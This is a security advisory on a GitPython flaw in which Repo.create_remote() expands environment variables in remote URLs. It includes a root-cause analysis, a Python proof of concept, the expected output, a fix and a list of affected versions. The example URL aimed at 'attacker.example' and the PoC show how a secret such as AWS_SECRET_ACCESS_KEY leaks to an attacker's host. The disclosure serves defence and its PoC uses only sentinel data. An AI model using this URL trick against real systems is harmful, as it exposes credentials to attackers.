GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)
What fixes it
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next fetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.
Root Cause
Fix commit [8ac5a305](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an expand_vars parameter to Git.polish_url() (default True) and used expand_vars=False only in Repo._clone() ([git/repo/base.py:1455](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated.
[git/remote.py:811](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), Remote.create:
url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url)
if not allow_unsafe_protocols:
Git.check_unsafe_protocols(url) # https:// carrying the secret passes
repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/configcheck_unsafe_protocols() runs *after* expansion here, so it rejects an ext:: payload but does nothing about an https:// URL that carries an expanded secret in its path or host — the disclosure primitive.
The same unguarded call also sits at [git/objects/submodule/base.py:611](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (Submodule.add), which writes the expanded URL into .gitmodules (a tracked file) and .git/config.
Steps to Reproduce
Prerequisites
- Python 3.9+
gitonPATH(for the fetch step)- GitPython 3.1.53 (installed below)
Step 1: Install GitPython 3.1.53 in a clean venv
mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc python3 -m venv venv ./venv/bin/pip install gitpython==3.1.53
Step 2: Write the PoC
cat > poc.py <<'PYEOF'
#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading
import git
print("gitpython version:", git.__version__)
# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL
# Local HTTP server standing in for attacker.example.
captured = []
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
captured.append(self.path)
self.send_response(404)
self.end_headers()
def log_message(self, *a):
pass
srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()
# Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port
def norm(s): # display the ephemeral listener port as a stable placeholder
return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")
print("attacker-supplied URL :", norm(attacker_url))
repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url) # public API
stored = repo.remote("evil").url
print("stored remote URL :", norm(stored))
print("SENTINEL in git config:", SENTINEL in stored)
try:
remote.fetch() # transmits the expanded URL to the attacker host
except Exception:
pass # fetch fails after the request is already sent
srv.shutdown()
over_network = any(SENTINEL in p for p in captured)
print("HTTP paths received :", [norm(p) for p in captured])
print("SENTINEL over network :", over_network)
print()
if SENTINEL in stored and over_network:
print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host")
elif SENTINEL in stored:
print("VULNERABLE: env-var expanded into stored git-config URL")
else:
print("not reproduced")
PYEOFStep 3: Run it
cd /tmp/gp-remote-poc && ./venv/bin/python poc.py
Expected output (the listener's ephemeral port is shown as PORT):
gitpython version: 3.1.53
attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git
stored remote URL : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git
SENTINEL in git config: True
HTTP paths received : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']
SENTINEL over network : True
VULNERABLE: env-var expanded into stored URL AND transmitted to attacker hostThe ${GP_SENTINEL_SECRET} token in the supplied URL is replaced with the environment value both in the stored .git/config URL and in the request that reaches the attacker-controlled host.
Suggested Fix
Pass expand_vars=False at the remaining URL callers, matching the clone fix:
git/remote.pyRemote.create:url = Git.polish_url(url, expand_vars=False)git/objects/submodule/base.pySubmodule.add:url = Git.polish_url(url, expand_vars=False)
More robustly, flip the Git.polish_url() default to expand_vars=False (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.
Cleanup
rm -rf /tmp/gp-remote-poc
Impact
Any secret in the hosting process environment (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to Repo.create_remote() / Remote.add(). The secret is expanded into .git/config immediately and transmitted over the network (DNS + HTTP) on the next fetch/pull/remote update. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches .gitmodules (a committable file) via Submodule.add().
Text from GitHub Advisory Database
Affected versions 52
- GitPython, pip< 3.1.55GitHub
- gitpython, PyPIfrom first release, fixed in 3.1.55OSV
- gitpython, PyPI0.1.7OSV
- gitpython, PyPI0.2.0-beta1OSV
- gitpython, PyPI0.3.0-beta1OSV
- gitpython, PyPI0.3.0-beta2OSV
- gitpython, PyPI0.3.1-beta2OSV
- gitpython, PyPI0.3.2OSV
- gitpython, PyPI0.3.2.1OSV
- gitpython, PyPI0.3.2.RC1OSV
- gitpython, PyPI0.3.3OSV
- gitpython, PyPI0.3.4OSV
- gitpython, PyPI0.3.5OSV
- gitpython, PyPI0.3.6OSV
- gitpython, PyPI0.3.7OSV
- gitpython, PyPI1.0.0OSV
- gitpython, PyPI1.0.1OSV
- gitpython, PyPI1.0.2OSV
- gitpython, PyPI2.0.0OSV
- gitpython, PyPI2.0.1OSV
- gitpython, PyPI2.0.2OSV
- gitpython, PyPI2.0.3OSV
- gitpython, PyPI2.0.4OSV
- gitpython, PyPI2.0.5OSV
- gitpython, PyPI2.0.6OSV
- gitpython, PyPI2.0.7OSV
- gitpython, PyPI2.0.8OSV
- gitpython, PyPI2.0.9OSV
- gitpython, PyPI2.0.9.dev0OSV
- gitpython, PyPI2.0.9.dev1OSV
- gitpython, PyPI2.1.0OSV
- gitpython, PyPI2.1.1OSV
- gitpython, PyPI2.1.10OSV
- gitpython, PyPI2.1.11OSV
- gitpython, PyPI2.1.12OSV
- gitpython, PyPI2.1.13OSV
- gitpython, PyPI2.1.14OSV
- gitpython, PyPI2.1.15OSV
- gitpython, PyPI2.1.2OSV
- gitpython, PyPI2.1.3OSV
- gitpython, PyPI2.1.4OSV
- gitpython, PyPI2.1.5OSV
- gitpython, PyPI2.1.6OSV
- gitpython, PyPI2.1.7OSV
- gitpython, PyPI2.1.8OSV
- gitpython, PyPI2.1.9OSV
- gitpython, PyPI3.0.0OSV
- gitpython, PyPI3.0.1OSV
- gitpython, PyPI3.0.2OSV
- gitpython, PyPI3.0.3OSV
- gitpython, PyPI3.0.4OSV
- gitpython, PyPI3.0.5OSV
References 7
- github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162Fixvia GitHub
- github.com/gitpython-developers/GitPython/releases/tag/3.1.55Fixvia GitHub
- github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2Fixvia GitHub
- github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67Advisoryvia GitHub
- github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3951.yamlAdvisoryvia GitHub
- vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-addAdvisoryvia GitHub
- github.com/advisories/GHSA-94p4-4cq8-9g67Advisoryvia GitHub